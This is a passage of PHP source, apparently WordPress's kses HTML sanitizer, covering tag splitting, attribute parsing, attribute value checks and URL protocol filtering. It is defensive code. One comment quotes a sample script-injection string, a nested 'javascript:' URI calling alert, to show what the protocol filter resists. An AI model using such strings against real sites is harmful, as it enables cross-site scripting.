 * names, attribute values, and HTML entities will occur in the given text string.
 *
 * This function expects unslashed data.
 *
 * @see wp_kses_post() for specifically filtering post content and fields.
 * @see wp_allowed_protocols() for the default allowed protocols in link URLs.
 *
 * @since 1.0.0
 *
 * @param string         $content           Text content to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Optional. Array of allowed URL protocols.
 *                                          Defaults to the result of wp_allowed_protocols().
 * @return string Filtered content containing only the allowed HTML.
 */
function wp_kses( $content, $allowed_html, $allowed_protocols = array() ) {
	if ( empty( $allowed_protocols ) ) {
		$allowed_protocols = wp_allowed_protocols();
	}

	$content = wp_kses_no_null( $content, array( 'slash_zero' => 'keep' ) );
	$content = wp_kses_normalize_entities( $content );
	$content = wp_kses_hook( $content, $allowed_html, $allowed_protocols );

	return wp_kses_split( $content, $allowed_html, $allowed_protocols );
}

/**
 * Filters one HTML attribute and ensures its value is allowed.
 *
 * This function can escape data in some situations where `wp_kses()` must strip the whole attribute.
 *
 * @since 4.2.3
 *
 * @param string $attr    The 'whole' attribute, including name and value.
 * @param string $element The HTML element name to which the attribute belongs.
 * @return string Filtered attribute.
 */
function wp_kses_one_attr( $attr, $element ) {
	$uris              = wp_kses_uri_attributes();
	$allowed_html      = wp_kses_allowed_html( 'post' );
	$allowed_protocols = wp_allowed_protocols();
	$attr              = wp_kses_no_null( $attr, array( 'slash_zero' => 'keep' ) );

	// Preserve leading and trailing whitespace.
	$matches = array();
	preg_match( '/^\s*/', $attr, $matches );
	$lead = $matches[0];
	preg_match( '/\s*$/', $attr, $matches );
	$trail = $matches[0];
	if ( empty( $trail ) ) {
		$attr = substr( $attr, strlen( $lead ) );
	} else {
		$attr = substr( $attr, strlen( $lead ), -strlen( $trail ) );
	}

	// Parse attribute name and value from input.
	$split = preg_split( '/\s*=\s*/', $attr, 2 );
	$name  = $split[0];
	if ( count( $split ) === 2 ) {
		$value = $split[1];

		/*
		 * Remove quotes surrounding $value.
		 * Also guarantee correct quoting in $attr for this one attribute.
		 */
		if ( '' === $value ) {
			$quote = '';
		} else {
			$quote = $value[0];
		}
		if ( '"' === $quote || "'" === $quote ) {
			if ( ! str_ends_with( $value, $quote ) ) {
				return '';
			}
			$value = substr( $value, 1, -1 );
		} else {
			$quote = '"';
		}

		// Sanitize quotes, angle braces, and entities.
		$value = esc_attr( $value );

		// Sanitize URI values.
		if ( in_array( strtolower( $name ), $uris, true ) ) {
			$value = wp_kses_bad_protocol( $value, $allowed_protocols );
		}

		$attr  = "$name=$quote$value$quote";
		$vless = 'n';
	} else {
		$value = '';
		$vless = 'y';
	}

	// Sanitize attribute by name.
	wp_kses_attr_check( $name, $value, $attr, $vless, $element, $allowed_html );

	// Restore whitespace.
	return $lead . $attr . $trail;
}

/**
 * Returns an array of allowed HTML tags and attributes for a given context.
 *
 * @since 3.5.0
 * @since 5.0.1 `form` removed as allowable HTML tag.
 *
 * @global array $allowedposttags
 * @global array $allowedtags
 * @global array $allowedentitynames
 *
 * @param string|array $context The context for which to retrieve tags. Allowed values are 'post',
 *                              'strip', 'data', 'entities', or the name of a field filter such as
 *                              'pre_user_description', or an array of allowed HTML elements and attributes.
 * @return array Array of allowed HTML tags and their allowed attributes.
 */
function wp_kses_allowed_html( $context = '' ) {
	global $allowedposttags, $allowedtags, $allowedentitynames;

	if ( is_array( $context ) ) {
		// When `$context` is an array it's actually an array of allowed HTML elements and attributes.
		$html    = $context;
		$context = 'explicit';

		/**
		 * Filters the HTML tags that are allowed for a given context.
		 *
		 * HTML tags and attribute names are case-insensitive in HTML but must be
		 * added to the KSES allow list in lowercase. An item added to the allow list
		 * in upper or mixed case will not recognized as permitted by KSES.
		 *
		 * @since 3.5.0
		 *
		 * @param array[] $html    Allowed HTML tags.
		 * @param string  $context Context name.
		 */
		return apply_filters( 'wp_kses_allowed_html', $html, $context );
	}

	switch ( $context ) {
		case 'post':
			/** This filter is documented in wp-includes/kses.php */
			$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );

			// 5.0.1 removed the `<form>` tag, allow it if a filter is allowing it's sub-elements `<input>` or `<select>`.
			if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {
				$tags = $allowedposttags;

				$tags['form'] = array(
					'action'         => true,
					'accept'         => true,
					'accept-charset' => true,
					'enctype'        => true,
					'method'         => true,
					'name'           => true,
					'target'         => true,
				);

				/** This filter is documented in wp-includes/kses.php */
				$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
			}

			return $tags;

		case 'user_description':
		case 'pre_user_description':
			$tags             = $allowedtags;
			$tags['a']['rel'] = true;
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', $tags, $context );

		case 'strip':
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', array(), $context );

		case 'entities':
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context );

		case 'data':
		default:
			/** This filter is documented in wp-includes/kses.php */
			return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
	}
}

/**
 * You add any KSES hooks here.
 *
 * There is currently only one KSES WordPress hook, {@see 'pre_kses'}, and it is called here.
 * All parameters are passed to the hooks and expected to receive a string.
 *
 * @since 1.0.0
 *
 * @param string         $content           Content to filter through KSES.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Filtered content through {@see 'pre_kses'} hook.
 */
function wp_kses_hook( $content, $allowed_html, $allowed_protocols ) {
	/**
	 * Filters content to be run through KSES.
	 *
	 * @since 2.3.0
	 *
	 * @param string         $content           Content to filter through KSES.
	 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
	 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
	 *                                          for the list of accepted context names.
	 * @param string[]       $allowed_protocols Array of allowed URL protocols.
	 */
	return apply_filters( 'pre_kses', $content, $allowed_html, $allowed_protocols );
}

/**
 * Returns the version number of KSES.
 *
 * @since 1.0.0
 *
 * @return string KSES version number.
 */
function wp_kses_version() {
	return '0.2.2';
}

/**
 * Searches for HTML tags, no matter how malformed.
 *
 * It also matches stray `>` characters.
 *
 * @since 1.0.0
 *
 * @global array[]|string $pass_allowed_html      An array of allowed HTML elements and attributes,
 *                                                or a context name such as 'post'.
 * @global string[]       $pass_allowed_protocols Array of allowed URL protocols.
 *
 * @param string         $content           Content to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Content with fixed HTML tags
 */
function wp_kses_split( $content, $allowed_html, $allowed_protocols ) {
	global $pass_allowed_html, $pass_allowed_protocols;

	$pass_allowed_html      = $allowed_html;
	$pass_allowed_protocols = $allowed_protocols;

	return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $content );
}

/**
 * Returns an array of HTML attribute names whose value contains a URL.
 *
 * This function returns a list of all HTML attributes that must contain
 * a URL according to the HTML specification.
 *
 * This list includes URI attributes both allowed and disallowed by KSES.
 *
 * @link https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes
 *
 * @since 5.0.1
 *
 * @return string[] HTML attribute names whose value contains a URL.
 */
function wp_kses_uri_attributes() {
	$uri_attributes = array(
		'action',
		'archive',
		'background',
		'cite',
		'classid',
		'codebase',
		'data',
		'formaction',
		'href',
		'icon',
		'longdesc',
		'manifest',
		'poster',
		'profile',
		'src',
		'usemap',
		'xmlns',
	);

	/**
	 * Filters the list of attributes that are required to contain a URL.
	 *
	 * Use this filter to add any `data-` attributes that are required to be
	 * validated as a URL.
	 *
	 * @since 5.0.1
	 *
	 * @param string[] $uri_attributes HTML attribute names whose value contains a URL.
	 */
	$uri_attributes = apply_filters( 'wp_kses_uri_attributes', $uri_attributes );

	return $uri_attributes;
}

/**
 * Callback for `wp_kses_split()`.
 *
 * @since 3.1.0
 * @access private
 * @ignore
 *
 * @global array[]|string $pass_allowed_html      An array of allowed HTML elements and attributes,
 *                                                or a context name such as 'post'.
 * @global string[]       $pass_allowed_protocols Array of allowed URL protocols.
 *
 * @param array $matches preg_replace regexp matches
 * @return string
 */
function _wp_kses_split_callback( $matches ) {
	global $pass_allowed_html, $pass_allowed_protocols;

	return wp_kses_split2( $matches[0], $pass_allowed_html, $pass_allowed_protocols );
}

/**
 * Callback for `wp_kses_split()` for fixing malformed HTML tags.
 *
 * This function does a lot of work. It rejects some very malformed things like
 * `<:::>`. It returns an empty string, if the element isn't allowed (look ma, no
 * `strip_tags()`!). Otherwise it splits the tag into an element and an attribute
 * list.
 *
 * After the tag is split into an element and an attribute list, it is run
 * through another filter which will remove illegal attributes and once that is
 * completed, will be returned.
 *
 * @access private
 * @ignore
 * @since 1.0.0
 *
 * @param string         $content           Content to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Fixed HTML element
 */
function wp_kses_split2( $content, $allowed_html, $allowed_protocols ) {
	$content = wp_kses_stripslashes( $content );

	// It matched a ">" character.
	if ( ! str_starts_with( $content, '<' ) ) {
		return '&gt;';
	}

	// Allow HTML comments.
	if ( str_starts_with( $content, '<!--' ) ) {
		$content = str_replace( array( '<!--', '-->' ), '', $content );

		while ( ( $newstring = wp_kses( $content, $allowed_html, $allowed_protocols ) ) !== $content ) {
			$content = $newstring;
		}

		if ( '' === $content ) {
			return '';
		}

		// Prevent multiple dashes in comments.
		$content = preg_replace( '/--+/', '-', $content );
		// Prevent three dashes closing a comment.
		$content = preg_replace( '/-$/', '', $content );

		return "<!--{$content}-->";
	}

	// It's seriously malformed.
	if ( ! preg_match( '%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $content, $matches ) ) {
		return '';
	}

	$slash    = trim( $matches[1] );
	$elem     = $matches[2];
	$attrlist = $matches[3];

	if ( ! is_array( $allowed_html ) ) {
		$allowed_html = wp_kses_allowed_html( $allowed_html );
	}

	// They are using a not allowed HTML element.
	if ( ! isset( $allowed_html[ strtolower( $elem ) ] ) ) {
		return '';
	}

	// No attributes are allowed for closing elements.
	if ( '' !== $slash ) {
		return "</$elem>";
	}

	return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols );
}

/**
 * Removes all attributes, if none are allowed for this element.
 *
 * If some are allowed it calls `wp_kses_hair()` to split them further, and then
 * it builds up new HTML code from the data that `wp_kses_hair()` returns. It also
 * removes `<` and `>` characters, if there are any left. One more thing it does
 * is to check if the tag has a closing XHTML slash, and if it does, it puts one
 * in the returned code as well.
 *
 * An array of allowed values can be defined for attributes. If the attribute value
 * doesn't fall into the list, the attribute will be removed from the tag.
 *
 * Attributes can be marked as required. If a required attribute is not present,
 * KSES will remove all attributes from the tag. As KSES doesn't match opening and
 * closing tags, it's not possible to safely remove the tag itself, the safest
 * fallback is to strip all attributes from the tag, instead.
 *
 * @since 1.0.0
 * @since 5.9.0 Added support for an array of allowed values for attributes.
 *              Added support for required attributes.
 *
 * @param string         $element           HTML element/tag.
 * @param string         $attr              HTML attributes from HTML element to closing HTML element tag.
 * @param array[]|string $allowed_html      An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string Sanitized HTML element.
 */
function wp_kses_attr( $element, $attr, $allowed_html, $allowed_protocols ) {
	if ( ! is_array( $allowed_html ) ) {
		$allowed_html = wp_kses_allowed_html( $allowed_html );
	}

	// Is there a closing XHTML slash at the end of the attributes?
	$xhtml_slash = '';
	if ( preg_match( '%\s*/\s*$%', $attr ) ) {
		$xhtml_slash = ' /';
	}

	// Are any attributes allowed at all for this element?
	$element_low = strtolower( $element );
	if ( empty( $allowed_html[ $element_low ] ) || true === $allowed_html[ $element_low ] ) {
		return "<$element$xhtml_slash>";
	}

	// Split it.
	$attrarr = wp_kses_hair( $attr, $allowed_protocols );

	// Check if there are attributes that are required.
	$required_attrs = array_filter(
		$allowed_html[ $element_low ],
		static function ( $required_attr_limits ) {
			return isset( $required_attr_limits['required'] ) && true === $required_attr_limits['required'];
		}
	);

	/*
	 * If a required attribute check fails, we can return nothing for a self-closing tag,
	 * but for a non-self-closing tag the best option is to return the element with attributes,
	 * as KSES doesn't handle matching the relevant closing tag.
	 */
	$stripped_tag = '';
	if ( empty( $xhtml_slash ) ) {
		$stripped_tag = "<$element>";
	}

	// Go through $attrarr, and save the allowed attributes for this element in $attr2.
	$attr2 = '';
	foreach ( $attrarr as $arreach ) {
		// Check if this attribute is required.
		$required = isset( $required_attrs[ strtolower( $arreach['name'] ) ] );

		if ( wp_kses_attr_check( $arreach['name'], $arreach['value'], $arreach['whole'], $arreach['vless'], $element, $allowed_html ) ) {
			$attr2 .= ' ' . $arreach['whole'];

			// If this was a required attribute, we can mark it as found.
			if ( $required ) {
				unset( $required_attrs[ strtolower( $arreach['name'] ) ] );
			}
		} elseif ( $required ) {
			// This attribute was required, but didn't pass the check. The entire tag is not allowed.
			return $stripped_tag;
		}
	}

	// If some required attributes weren't set, the entire tag is not allowed.
	if ( ! empty( $required_attrs ) ) {
		return $stripped_tag;
	}

	// Remove any "<" or ">" characters.
	$attr2 = preg_replace( '/[<>]/', '', $attr2 );

	return "<$element$attr2$xhtml_slash>";
}

/**
 * Determines whether an attribute is allowed.
 *
 * @since 4.2.3
 * @since 5.0.0 Added support for `data-*` wildcard attributes.
 *
 * @param string $name         The attribute name. Passed by reference. Returns empty string when not allowed.
 * @param string $value        The attribute value. Passed by reference. Returns a filtered value.
 * @param string $whole        The `name=value` input. Passed by reference. Returns filtered input.
 * @param string $vless        Whether the attribute is valueless. Use 'y' or 'n'.
 * @param string $element      The name of the element to which this attribute belongs.
 * @param array  $allowed_html The full list of allowed elements and attributes.
 * @return bool Whether or not the attribute is allowed.
 */
function wp_kses_attr_check( &$name, &$value, &$whole, $vless, $element, $allowed_html ) {
	$name_low    = strtolower( $name );
	$element_low = strtolower( $element );

	if ( ! isset( $allowed_html[ $element_low ] ) ) {
		$name  = '';
		$value = '';
		$whole = '';
		return false;
	}

	$allowed_attr = $allowed_html[ $element_low ];

	if ( ! isset( $allowed_attr[ $name_low ] ) || '' === $allowed_attr[ $name_low ] ) {
		/*
		 * Allow `data-*` attributes.
		 *
		 * When specifying `$allowed_html`, the attribute name should be set as
		 * `data-*` (not to be mixed with the HTML 4.0 `data` attribute, see
		 * https://www.w3.org/TR/html40/struct/objects.html#adef-data).
		 *
		 * Note: the attribute name should only contain `A-Za-z0-9_-` chars,
		 * double hyphens `--` are not accepted by WordPress.
		 */
		if ( str_starts_with( $name_low, 'data-' ) && ! empty( $allowed_attr['data-*'] )
			&& preg_match( '/^data(?:-[a-z0-9_]+)+$/', $name_low, $match )
		) {
			/*
			 * Add the whole attribute name to the allowed attributes and set any restrictions
			 * for the `data-*` attribute values for the current element.
			 */
			$allowed_attr[ $match[0] ] = $allowed_attr['data-*'];
		} else {
			$name  = '';
			$value = '';
			$whole = '';
			return false;
		}
	}

	if ( 'style' === $name_low ) {
		$new_value = safecss_filter_attr( $value );

		if ( empty( $new_value ) ) {
			$name  = '';
			$value = '';
			$whole = '';
			return false;
		}

		$whole = str_replace( $value, $new_value, $whole );
		$value = $new_value;
	}

	if ( is_array( $allowed_attr[ $name_low ] ) ) {
		// There are some checks.
		foreach ( $allowed_attr[ $name_low ] as $currkey => $currval ) {
			if ( ! wp_kses_check_attr_val( $value, $vless, $currkey, $currval ) ) {
				$name  = '';
				$value = '';
				$whole = '';
				return false;
			}
		}
	}

	return true;
}

/**
 * Builds an attribute list from string containing attributes.
 *
 * This function does a lot of work. It parses an attribute list into an array
 * with attribute data, and tries to do the right thing even if it gets weird
 * input. It will add quotes around attribute values that don't have any quotes
 * or apostrophes around them, to make it easier to produce HTML code that will
 * conform to W3C's HTML specification. It will also remove bad URL protocols
 * from attribute values. It also reduces duplicate attributes by using the
 * attribute defined first (`foo='bar' foo='baz'` will result in `foo='bar'`).
 *
 * @since 1.0.0
 *
 * @param string   $attr              Attribute list from HTML element to closing HTML element tag.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @return array[] Array of attribute information after parsing.
 */
function wp_kses_hair( $attr, $allowed_protocols ) {
	$attrarr  = array();
	$mode     = 0;
	$attrname = '';
	$uris     = wp_kses_uri_attributes();

	// Loop through the whole attribute list.

	while ( strlen( $attr ) !== 0 ) {
		$working = 0; // Was the last operation successful?

		switch ( $mode ) {
			case 0:
				if ( preg_match( '/^([_a-zA-Z][-_a-zA-Z0-9:.]*)/', $attr, $match ) ) {
					$attrname = $match[1];
					$working  = 1;
					$mode     = 1;
					$attr     = preg_replace( '/^[_a-zA-Z][-_a-zA-Z0-9:.]*/', '', $attr );
				}

				break;

			case 1:
				if ( preg_match( '/^\s*=\s*/', $attr ) ) { // Equals sign.
					$working = 1;
					$mode    = 2;
					$attr    = preg_replace( '/^\s*=\s*/', '', $attr );
					break;
				}

				if ( preg_match( '/^\s+/', $attr ) ) { // Valueless.
					$working = 1;
					$mode    = 0;

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => '',
							'whole' => $attrname,
							'vless' => 'y',
						);
					}

					$attr = preg_replace( '/^\s+/', '', $attr );
				}

				break;

			case 2:
				if ( preg_match( '%^"([^"]*)"(\s+|/?$)%', $attr, $match ) ) {
					// "value"
					$thisval = $match[1];
					if ( in_array( strtolower( $attrname ), $uris, true ) ) {
						$thisval = wp_kses_bad_protocol( $thisval, $allowed_protocols );
					}

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => $thisval,
							'whole' => "$attrname=\"$thisval\"",
							'vless' => 'n',
						);
					}

					$working = 1;
					$mode    = 0;
					$attr    = preg_replace( '/^"[^"]*"(\s+|$)/', '', $attr );
					break;
				}

				if ( preg_match( "%^'([^']*)'(\s+|/?$)%", $attr, $match ) ) {
					// 'value'
					$thisval = $match[1];
					if ( in_array( strtolower( $attrname ), $uris, true ) ) {
						$thisval = wp_kses_bad_protocol( $thisval, $allowed_protocols );
					}

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => $thisval,
							'whole' => "$attrname='$thisval'",
							'vless' => 'n',
						);
					}

					$working = 1;
					$mode    = 0;
					$attr    = preg_replace( "/^'[^']*'(\s+|$)/", '', $attr );
					break;
				}

				if ( preg_match( "%^([^\s\"']+)(\s+|/?$)%", $attr, $match ) ) {
					// value
					$thisval = $match[1];
					if ( in_array( strtolower( $attrname ), $uris, true ) ) {
						$thisval = wp_kses_bad_protocol( $thisval, $allowed_protocols );
					}

					if ( false === array_key_exists( $attrname, $attrarr ) ) {
						$attrarr[ $attrname ] = array(
							'name'  => $attrname,
							'value' => $thisval,
							'whole' => "$attrname=\"$thisval\"",
							'vless' => 'n',
						);
					}

					// We add quotes to conform to W3C's HTML spec.
					$working = 1;
					$mode    = 0;
					$attr    = preg_replace( "%^[^\s\"']+(\s+|$)%", '', $attr );
				}

				break;
		} // End switch.

		if ( 0 === $working ) { // Not well-formed, remove and try again.
			$attr = wp_kses_html_error( $attr );
			$mode = 0;
		}
	} // End while.

	if ( 1 === $mode && false === array_key_exists( $attrname, $attrarr ) ) {
		/*
		 * Special case, for when the attribute list ends with a valueless
		 * attribute like "selected".
		 */
		$attrarr[ $attrname ] = array(
			'name'  => $attrname,
			'value' => '',
			'whole' => $attrname,
			'vless' => 'y',
		);
	}

	return $attrarr;
}

/**
 * Finds all attributes of an HTML element.
 *
 * Does not modify input.  May return "evil" output.
 *
 * Based on `wp_kses_split2()` and `wp_kses_attr()`.
 *
 * @since 4.2.3
 *
 * @param string $element HTML element.
 * @return array|false List of attributes found in the element. Returns false on failure.
 */
function wp_kses_attr_parse( $element ) {
	$valid = preg_match( '%^(<\s*)(/\s*)?([a-zA-Z0-9]+\s*)([^>]*)(>?)$%', $element, $matches );
	if ( 1 !== $valid ) {
		return false;
	}

	$begin  = $matches[1];
	$slash  = $matches[2];
	$elname = $matches[3];
	$attr   = $matches[4];
	$end    = $matches[5];

	if ( '' !== $slash ) {
		// Closing elements do not get parsed.
		return false;
	}

	// Is there a closing XHTML slash at the end of the attributes?
	if ( 1 === preg_match( '%\s*/\s*$%', $attr, $matches ) ) {
		$xhtml_slash = $matches[0];
		$attr        = substr( $attr, 0, -strlen( $xhtml_slash ) );
	} else {
		$xhtml_slash = '';
	}

	// Split it.
	$attrarr = wp_kses_hair_parse( $attr );
	if ( false === $attrarr ) {
		return false;
	}

	// Make sure all input is returned by adding front and back matter.
	array_unshift( $attrarr, $begin . $slash . $elname );
	array_push( $attrarr, $xhtml_slash . $end );

	return $attrarr;
}

/**
 * Builds an attribute list from string containing attributes.
 *
 * Does not modify input.  May return "evil" output.
 * In case of unexpected input, returns false instead of stripping things.
 *
 * Based on `wp_kses_hair()` but does not return a multi-dimensional array.
 *
 * @since 4.2.3
 *
 * @param string $attr Attribute list from HTML element to closing HTML element tag.
 * @return array|false List of attributes found in $attr. Returns false on failure.
 */
function wp_kses_hair_parse( $attr ) {
	if ( '' === $attr ) {
		return array();
	}

	$regex =
		'(?:
				[_a-zA-Z][-_a-zA-Z0-9:.]* # Attribute name.
			|
				\[\[?[^\[\]]+\]\]?        # Shortcode in the name position implies unfiltered_html.
		)
		(?:                               # Attribute value.
			\s*=\s*                       # All values begin with "=".
			(?:
				"[^"]*"                   # Double-quoted.
			|
				\'[^\']*\'                # Single-quoted.
			|
				[^\s"\']+                 # Non-quoted.
				(?:\s|$)                  # Must have a space.
			)
		|
			(?:\s|$)                      # If attribute has no value, space is required.
		)
		\s*                               # Trailing space is optional except as mentioned above.
		';

	/*
	 * Although it is possible to reduce this procedure to a single regexp,
	 * we must run that regexp twice to get exactly the expected result.
	 *
	 * Note: do NOT remove the `x` modifiers as they are essential for the above regex!
	 */

	$validation = "/^($regex)+$/x";
	$extraction = "/$regex/x";

	if ( 1 === preg_match( $validation, $attr ) ) {
		preg_match_all( $extraction, $attr, $attrarr );
		return $attrarr[0];
	} else {
		return false;
	}
}

/**
 * Performs different checks for attribute values.
 *
 * The currently implemented checks are "maxlen", "minlen", "maxval", "minval",
 * and "valueless".
 *
 * @since 1.0.0
 *
 * @param string $value      Attribute value.
 * @param string $vless      Whether the attribute is valueless. Use 'y' or 'n'.
 * @param string $checkname  What $checkvalue is checking for.
 * @param mixed  $checkvalue What constraint the value should pass.
 * @return bool Whether check passes.
 */
function wp_kses_check_attr_val( $value, $vless, $checkname, $checkvalue ) {
	$ok = true;

	switch ( strtolower( $checkname ) ) {
		case 'maxlen':
			/*
			 * The maxlen check makes sure that the attribute value has a length not
			 * greater than the given value. This can be used to avoid Buffer Overflows
			 * in WWW clients and various Internet servers.
			 */

			if ( strlen( $value ) > $checkvalue ) {
				$ok = false;
			}
			break;

		case 'minlen':
			/*
			 * The minlen check makes sure that the attribute value has a length not
			 * smaller than the given value.
			 */

			if ( strlen( $value ) < $checkvalue ) {
				$ok = false;
			}
			break;

		case 'maxval':
			/*
			 * The maxval check does two things: it checks that the attribute value is
			 * an integer from 0 and up, without an excessive amount of zeroes or
			 * whitespace (to avoid Buffer Overflows). It also checks that the attribute
			 * value is not greater than the given value.
			 * This check can be used to avoid Denial of Service attacks.
			 */

			if ( ! preg_match( '/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value ) ) {
				$ok = false;
			}
			if ( $value > $checkvalue ) {
				$ok = false;
			}
			break;

		case 'minval':
			/*
			 * The minval check makes sure that the attribute value is a positive integer,
			 * and that it is not smaller than the given value.
			 */

			if ( ! preg_match( '/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value ) ) {
				$ok = false;
			}
			if ( $value < $checkvalue ) {
				$ok = false;
			}
			break;

		case 'valueless':
			/*
			 * The valueless check makes sure if the attribute has a value
			 * (like `<a href="blah">`) or not (`<option selected>`). If the given value
			 * is a "y" or a "Y", the attribute must not have a value.
			 * If the given value is an "n" or an "N", the attribute must have a value.
			 */

			if ( strtolower( $checkvalue ) !== $vless ) {
				$ok = false;
			}
			break;

		case 'values':
			/*
			 * The values check is used when you want to make sure that the attribute
			 * has one of the given values.
			 */

			if ( false === array_search( strtolower( $value ), $checkvalue, true ) ) {
				$ok = false;
			}
			break;

		case 'value_callback':
			/*
			 * The value_callback check is used when you want to make sure that the attribute
			 * value is accepted by the callback function.
			 */

			if ( ! call_user_func( $checkvalue, $value ) ) {
				$ok = false;
			}
			break;
	} // End switch.

	return $ok;
}

/**
 * Sanitizes a string and removed disallowed URL protocols.
 *
 * This function removes all non-allowed protocols from the beginning of the
 * string. It ignores whitespace and the case of the letters, and it does
 * understand HTML entities. It does its work recursively, so it won't be
 * fooled by a string like `javascript:javascript:alert(57)`.
 *
 * @since 1.0.0
 *
 * @param string   $content           Content to filter bad protocols from.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @return string Filtered content.
 */
function wp_kses_bad_protocol( $content, $allowed_protocols ) {
	$content = wp_kses_no_null( $content );

	// Short-circuit if the string starts with `https://` or `http://`. Most common cases.
	if (
		( str_starts_with( $content, 'https://' ) && in_array( 'https', $allowed_protocols, true ) ) ||
		( str_starts_with( $content, 'http://' ) && in_array( 'http', $allowed_protocols, true ) )
	) {
		return $content;
	}

	$iterations = 0;

	do {
		$original_content = $content;
		$content          = wp_kses_bad_protocol_once( $content, $allowed_protocols );
	} while ( $original_content !== $content && ++$iterations < 6 );

	if ( $original_content !== $content ) {
		return '';
	}

	return $content;
}

/**
 * Removes any invalid control characters in a text string.
 *
 * Also removes any instance of the `\0` string.
 *
 * @since 1.0.0
 *
 * @param string $content Content to filter null characters from.
 * @param array  $options Set 'slash_zero' => 'keep' when '\0' is allowed. Default is 'remove'.
 * @return string Filtered content.
 */
function wp_kses_no_null( $content, $options = null ) {
	if ( ! isset( $options['slash_zero'] ) ) {
		$options = array( 'slash_zero' => 'remove' );
	}

	$content = preg_replace( '/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $content );
	if ( 'remove' === $options['slash_zero'] ) {
		$content = preg_replace( '/\\\\+0+/', '', $content );
	}

	return $content;
}

/**
 * Strips slashes from in front of quotes.
 *
 * This function changes the character sequence `\"` to just `"`. It leaves all other
 * slashes alone. The quoting from `preg_replace(//e)` requires this.
 *
 * @since 1.0.0
 *
 * @param string $content String to strip slashes from.
 * @return string Fixed string with quoted slashes.
 */
function wp_kses_stripslashes( $content ) {
	return preg_replace( '%\\\\"%', '"', $content );
}

/**
 * Converts the keys of an array to lowercase.
 *
 * @since 1.0.0
 *
 * @param array $inarray Unfiltered array.
 * @return array Fixed array with all lowercase keys.
 */
function wp_kses_array_lc( $inarray ) {
	$outarray = array();

	foreach ( (array) $inarray as $inkey => $inval ) {
		$outkey              = strtolower( $inkey );
		$outarray[ $outkey ] = array();

		foreach ( (array) $inval as $inkey2 => $inval2 ) {
			$outkey2                         = strtolower( $inkey2 );
			$outarray[ $outkey ][ $outkey2 ] = $inval2;
		}
	}

	return $outarray;
}

/**
 * Handles parsing errors in `wp_kses_hair()`.
 *
 * The general plan is to remove everything to and including some whitespace,
 * but it deals with quotes and apostrophes as well.
 *
 * @since 1.0.0
 *
 * @param string $attr
 * @return string
 */
function wp_kses_html_error( $attr ) {
	return preg_replace( '/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $attr );
}

/**
 * Sanitizes content from bad protocols and other characters.
 *
 * This function searches for URL protocols at the beginning of the string, while
 * handling whitespace and HTML entities.
 *
 * @since 1.0.0
 *
 * @param string   $content           Content to check for bad protocols.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @param int      $count             Depth of call recursion to this function.
 * @return string Sanitized content.
 */
function wp_kses_bad_protocol_once( $content, $allowed_protocols, $count = 1 ) {
	$content  = preg_replace( '/(&#0*58(?![;0-9])|&#x0*3a(?![;a-f0-9]))/i', '$1;', $content );
	$content2 = preg_split( '/:|&#0*58;|&#x0*3a;|&colon;/i', $content, 2 );

	if ( isset( $content2[1] ) && ! preg_match( '%/\?%', $content2[0] ) ) {
		$content  = trim( $content2[1] );
		$protocol = wp_kses_bad_protocol_once2( $content2[0], $allowed_protocols );
		if ( 'feed:' === $protocol ) {
			if ( $count > 2 ) {
				return '';
			}
			$content = wp_kses_bad_protocol_once( $content, $allowed_protocols, ++$count );
			if ( empty( $content ) ) {
				return $content;
			}
		}
		$content = $protocol . $content;
	}

	return $content;
}

/**
 * Callback for `wp_kses_bad_protocol_once()` regular expression.
 *
 * This function processes URL protocols, checks to see if they're in the
 * list of allowed protocols or not, and returns different data depending
 * on the answer.
 *
 * @access private
 * @ignore
 * @since 1.0.0
 *
 * @param string   $scheme            URI scheme to check against the list of allowed protocols.
 * @param string[] $allowed_protocols Array of allowed URL protocols.
 * @return string Sanitized content.
 */
function wp_kses_bad_protocol_once2( $scheme, $allowed_protocols ) {
	$scheme = wp_kses_decode_entities( $scheme );
	$scheme = preg_replace( '/\s/', '', $scheme );
